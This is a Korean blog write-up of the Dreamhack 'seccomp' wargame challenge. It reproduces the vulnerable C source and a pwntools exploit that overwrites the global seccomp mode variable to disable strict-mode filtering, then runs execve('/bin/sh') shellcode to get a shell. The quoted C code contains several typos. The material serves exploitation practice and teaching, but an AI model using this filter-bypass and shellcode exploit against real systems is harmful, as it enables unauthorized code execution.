- seccomp Write-Up2023년 05월 13일
- satorare
- 작성자
- 2023.05.13.:46
Wargame Reference : https://dreamhack.io/wargame/challenges/59/
seccomp
Description 이 문제는 서버에서 작동하고 있는 서비스(seccomp)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의
dreamhack.io
0. Environment
SSP와 NX bit가 걸려있습니다.
1. Analysis
C Code
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <stddef.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <linux/unistd.h> #include <linux/audit.h> #include <sys/mman.h> int mode = SECCOMP_MODE_STRICT: void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int syscall_filter() { #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /*architecture x86_64 */ #define REG_SYSCALL REG_RAX #define ARCH_NR ADUIT_ARCH_X86_64 struct sock_filter filter[] = { /* Validatre architecture. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), /*Get system call number. */ BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) { perror("prctl(PR_SET_NO_NEW_PRIVS)\n"); return -1; } if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) { perror("Seccomp filter error\n"); return -1; } return 0; } int main(int argc, char* argv[]) { void (*sc)(); unsigned char *shellcode; int cnt = 0; int idx; long addr; long value; initialize(); shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); while(1) { printf("1. Read shellcode\n"); printf("2. Execute shellcode\n"); printf("3. Write address\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: if(cnt != 0) { exit(0); } syscall_filter(); printf("shellcode: "); read(0, shellcode, 1024); cnt++; break; case 2: sc = (void *)shellcode; sc(); break; case 3: printf("addr: "); scanf("%ld", &addr); printf"value: "); scanf("%ld", addr); break; dafault: break; } } return 0; }
헤더 파일 참조 아래에 보면 mode 변수에 SECCOMP_MODE_STRICT 매크로를 저장하는 걸 볼 수 있습니다. 그리고 이 mode 변수는 prctl 함수의 인자로 사용됩니다. 따라서 현재 프로그램에 Strict Mode의 Seccomp filter가 걸려있음을 알 수 있습니다.
전체적인 동작은 이전 문제와 같이 익명 페이지 속성의 가상 메모리 shellcode 변수에 쉘 코드를 집어넣을 수 있고, 이를 실행할 수 있습니다. 하지만 Strcit Mode에 의해서 read, write, exit, sigreturn 시스템콜만 사용이 가능합니다.
특징적인 것으로는 쉘 코드를 입력, 실행할 수 있는 옵션도 존재하지만 특정 Address에 value를 집어넣는 Write Address 옵션이 존재합니다.
이 때 만약 Write Address 기능을 이용해서 수정할 수 있는 부분이 존재한다면 어디일까요? 기본적으로 ASLR이 걸려있으므로 고정된 주소를 가져야할 것 입니다.
우연하게도 문제에서는 전역 변수 mode가 선언되어있고, PIE가 적용되어있지 않으므로 전역 변수는 고정된 주소를 갖는 bss 영역에 저장됩니다.
mode 전역 변수는 prctl 함수의 인자로써 Seccomp Strict Mode를 적용하는 역할을 하는데, 매크로인 SECCOMP_MODE_STRICT는 헤더파일 linux/seccomp.h에 정의되어있고, 실제 값은 '1'입니다.
이 헤더 파일을 살펴보면 아래와 같은 매크로들을 찾을 수 있는데,
Write Address 기능으로 SECCOMP_MODE_STRICT 매크로를 SECCOMP_MODE_DISABLES로 바꾼다면 SECCOMP 필터링을 우회할 수 있을 것 같습니다.
따라서 공격 시나리오는 다음과 같습니다.
- Write Address 기능으로 전역 변수 mode를 SECCOMP_MODE_DISABLES로 변경합니다.
- 변경된 mode로 쉘 코드를 입력하고 실행시킵니다.
2. Exploit
mode 전역 변수는 gdb에서 info variables, 혹은 pwntools 내에서 symbols 기능을 사용하여 알아낼 수 있습니다.
e = ELF("./seccomp") mode = e.symbols['mode']
mode 변수의 주소를 알아냈다면, Write Address 기능으로 새로운 값으로 덮어씌우면 됩니다. SECCOMP_MODE_DISABLES 매크로로 변경할 것이므로 이에 대응되는 0을 값으로 넣어주면 됩니다.
p = process("./seccomp") e = ELF("./seccomp") mode = e.symbols['mode'] p.sendlineafter("> ", "3") p.sendlineafter("addr: ", str(mode)) p.sendlineafter("value: ", "0")
mode 변수의 값을 수정하였다면 다음은 정상적인 방법대로 쉘 코드를 입력하고 실행시키면 됩니다.
p = process("./seccomp") e = ELF("./seccomp") context.arch = 'x86_64' mode = e.symbols['mode'] p.sendlineafter("> ", "3") p.sendlineafter("addr: ", str(mode)) p.sendlineafter("value: ", "0") p.sendlineafter("> ", "1") shellcode = shellcraft.execve("/bin/sh", 0, 0) p.sendafter("shellcode: ", asm(shellcode)) p.sendlineafter("> ", "2")
Result
최종 페이로드는 다음과 같습니다.
페이로드 실행결과 다음과 같이 플래그를 얻을 수 있었습니다.
3. Reference
https://docs.huihoo.com/doxygen/linux/kernel/3.7/include_2uapi_2linux_2seccomp_8h.html
'bin' 카테고리의 다른 글
master_canary Write-Up (0) 2023.05.19 Master Canary Write-Up (0) 2023.05.17 Bypass SECCOMP-1 (0) 2023.05.12 validator Write-Up (0) 2023.05.11 cmd_center Write-Up (0) 2023.05.10 다음글이전글이전 글이 없습니다.댓글